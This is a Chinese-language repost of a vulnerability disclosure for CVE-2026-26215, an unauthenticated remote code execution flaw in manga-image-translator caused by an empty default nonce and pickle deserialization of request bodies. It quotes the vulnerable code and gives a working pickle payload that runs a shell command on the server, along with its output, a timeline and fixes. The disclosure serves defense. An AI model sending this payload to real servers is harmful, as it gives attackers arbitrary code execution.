文章总结: 文档披露开源工具manga-image-translator存在严重RCE漏洞CVE-2026-26215。因nonce默认值为空导致认证机制失效,攻击者可利用pickle反序列化绕过认证执行任意代码。文章详述漏洞原理、复现过程及修复建议,指出默认禁用的安全机制带来虚假安全感,并批评项目维护方此前忽视腾讯云鼎实验室的同类报告。 综合评分: 88 文章分类: 漏洞分析,代码审计,漏洞POC,AI安全
CVE-2026-26215 – manga-image-translator 中的未经身份验证的远程代码执行漏洞
Ots安全
2026年2月12日 12:39 广东
威胁简报
恶意软件
漏洞攻击
介绍
在对 GitHub 上流行的 ML/AI 项目中的 pickle 反序列化模式进行审计时,我发现manga-image-translator中存在一个严重漏洞,这是一个广泛使用的开源漫画翻译工具,拥有 9,369 个星标。
两个 FastAPI 端点pickle.loads()直接调用 HTTP 请求体。它们本应受到基于 nonce 的身份验证机制保护,但该机制的默认值为空字符串(在 Python 中为 falsy),因此检查永远不会执行。结果是,在所有标准部署中都存在未经身份验证的远程代码执行 (RCE) 漏洞。
目标: zyddnys/manga-image-translator 星级: 9,369 严重程度:危急(CVSS 3.1:9.8)
什么是manga-image-translator?
manga-image-translator 是一款自动化工具,可以检测、识别和翻译漫画/连环画图像中的文本。它支持多种语言和翻译后端(GPT-4、DeepL、Google 等),可以作为 Web 服务器、命令行工具或浏览器扩展程序运行。
快速浏览一下该项目的问题跟踪器,就会发现用户正在询问如何在exhentai.org 链接上使用它。至于凌晨 3 点有超过 9300 个星标的用户在翻译什么,就留给你们自己去思考吧。
该项目有一种shared模式,其中 FastAPI 服务器处理翻译请求。此模式由 Web 服务器内部使用,server/main.py它会生成一个FastAPI 服务器MangaShare实例作为子进程,并通过 HTTP 协议与服务器通信,传输 pickle 序列化的有效负载。
漏洞
模式shared服务器manga_translator/mode/share.py公开了两个 POST 端点,它们从网络接收原始字节并将其直接传递给pickle.loads()。
端点 1 -/simple_execute/{method_name}位于第 112 行:
@app.post("/simple_execute/{method_name}")
async defexecute_method(request: Request, method_name: str = Path(...)):
self.check_nonce(request)
self.check_lock()
method = self.get_fn(method_name)
attr = pickle.loads(await request.body()) # RCE here
端点 2 -/execute/{method_name}第130 行:
@app.post("/execute/{method_name}")
async defexecute_method(request: Request, method_name: str = Path(...)):
self.check_nonce(request)
self.check_lock()
method = self.get_fn(method_name)
attr = pickle.loads(await request.body()) # RCE here
Bypass
有一种check_nonce()方法可以控制访问权限:
defcheck_nonce(self, request: Request):
ifself.nonce: # '' is falsy - this entire block is skipped
nonce = request.headers.get('X-Nonce')
if nonce != self.nonce:
raise HTTPException(401, detail="Nonce does not match")
问题在于所有参数解析器中 nonce 的默认值都是空字符串:
# manga_translator/args.py, line144
parser_api.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...)
# server/args.py, line45
parser.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...)
由于”在 Python 中该值为假,因此if self.nonce:其值为false False,整个身份验证检查都会被跳过。该MT_WEB_NONCE环境变量从未在任何 Docker Compose 文件、Makefile 或任何部署文档中设置。所有标准部署均在未进行身份验证的情况下运行。
这是一个隐蔽的漏洞,因为它看起来像是启用了身份验证。代码审查人员看到check_nonce(request)调用该函数后,会误以为该端点受到保护。但实际上,你必须追踪参数的默认值,才能发现这个保护机制是无效代码。
概念验证
设置目标
我用从代码库克隆的真实漫画图像翻译器代码库进行了测试:
git clone https://github.com/zyddnys/manga-image-translator.git
cd manga-image-translator
pip install -r requirements.txt
python -m manga_translator shared --host 0.0.0.0 --port 5003
无需GPU——此pickle.loads()操作在任何机器学习推理之前执行。服务器启动于http://0.0.0.0:5003。
漏洞
import pickle, os, requests
classRCE:
def__init__(self, cmd):
self.cmd = cmd
def__reduce__(self):
return (os.system, (self.cmd,))
# No X-Nonce header needed - auth is bypassed
requests.post(
'http://target:5003/simple_execute/translate',
data=pickle.dumps(RCE('id > /tmp/manga_pwned')),
headers={'Content-Type': 'application/octet-stream'},
)
结果
$ cat /tmp/manga_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),27(sudo),...
两者/simple_execute/translate都可/execute/translate被利用。服务器返回 HTTP 500(反序列化int的os.system()不是有效的 kwargs 字典),但该命令已在执行期间执行pickle.loads()。
事先披露
我并非第一个发现这个问题的人。腾讯云顶安全实验室的sud0why提交了编号为 #946 的问题,报告了完全相同的 pickle 反序列化远程代码执行漏洞。该项目组六个月无人回应,之后该问题被系统自动关闭。更早的#509和#516问题也提出了安全改进建议,但均未得到解决便被关闭。
尽管腾讯报告了该漏洞,但此前一直没有分配 CVE 编号——直到现在:CVE-2026-26215。
攻击面
shared在所有标准配置中,模式服务器都会绑定到该服务器0.0.0.0:5003。Web 服务器(server/main.py)会在内部端口 5004 上启动它。网络上的任何人都可以访问这两个服务器。
该项目拥有庞大的安装基础——9369 个 star,22925 次 Docker Hub 拉取,以及一个拥有 3300 多名成员的 Discord 社区。
建议的修复方案
修复 nonce 默认值。将默认值从”更改为None,在 时自动生成随机 nonce None,并要求–nonce=disable明确不想进行身份验证的用户启用该功能。这样,不安全的配置就成为一种有意为之的选择,而不是默认设置。
请替换pickle.loads()为 JSON 或 MessagePack。序列化数据只是方法参数,没有必要使用 pickle。
将共享工作进程限制在本地主机上。server/main.py工作进程与主机之间的进程间通信shared不应暴露在外部。
时间线
- 2025年5月:腾讯云鼎安全实验室(sud0why )在问题 #946中报告了相同的漏洞——未收到回复,该问题在6个月后被机器人自动关闭。
- 2026-02-11:通过针对真实服务器的 PoC 独立发现并确认了漏洞
- 2026年2月11日:已向VulnCheck提交CVE请求
- 2026-02-11: VulnCheck分配了CVE-2026-26215 漏洞。
- 2026年2月11日: 公开披露并附带补丁
要点总结
这个漏洞之所以特别突出,是因为它给人一种虚假的安全感。代码中确实存在 nonce 机制,代码审查人员会看到check_nonce(request)它的调用,然后就会忽略它。但你必须仔细查看参数默认值,才能意识到这个安全机制默认情况下是无效的。默认禁用的安全功能比没有安全功能更糟糕——它们会给人一种虚假的安全感。
腾讯的报告被自动关闭也说明了一些问题。sud0why在 2025 年 5 月提交了一份清晰、证据充分的远程代码执行 (RCE) 报告。六个月无人回应,然后机器人自动将其关闭。机器人无法区分“问题已解决”和“根本没人关心”。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CVE-2026-26215 – manga-image-translator 中的未经身份验证的远程代码执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论